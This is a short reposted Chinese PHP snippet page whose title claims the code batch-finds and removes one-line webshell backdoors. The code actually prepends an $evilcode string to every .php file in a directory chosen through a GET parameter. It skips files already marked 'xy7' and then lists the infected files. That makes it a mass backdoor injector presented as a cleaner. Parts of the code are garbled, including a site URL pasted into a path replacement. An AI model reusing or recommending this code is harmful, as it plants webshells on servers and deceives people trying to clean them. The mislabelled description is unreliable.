用php实现批量查询清除一句话后门的代码

原创
2016-06-13 12:30:00 550浏览

总是忘记一句话放到哪个文件里去了,直接全部干掉...

复制代码 代码如下:


if (!isset($dir) or empty($dir)) {
$dir=str_replace('\\','//m.sbmmt.com/m/',dirname(__FILE__));
echo "".$dir."";
} else {
$dir=$_GET['dir'];
echo "".$dir."";
}
$evilcode="";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>









$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));
echo "\n";
echo "\n";
echo " \n";
echo " \n";
}
}
}
@closedir($dirs);
?>
被X的文件 时间 大小
$file$lastsave$size Bytes

codz by xuanmumu

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。